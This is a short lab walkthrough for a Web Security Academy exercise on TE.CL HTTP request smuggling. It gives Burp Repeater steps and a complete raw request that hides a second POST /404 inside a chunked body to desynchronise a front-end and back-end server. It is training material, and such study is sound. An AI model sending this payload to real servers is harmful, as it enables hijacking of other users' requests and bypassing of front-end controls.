24.2 Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses | 2024

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response | Karthikeyan Nagaraj

Karthikeyan Nagaraj
2 min readApr 28, 2024

Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

  1. In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
  2. Using Burp Repeater, issue the following request twice:
  3. Make sure you leave 2 blank line at the end of request
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

The second request should receive an HTTP 404 response.

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Karthikeyan Nagaraj

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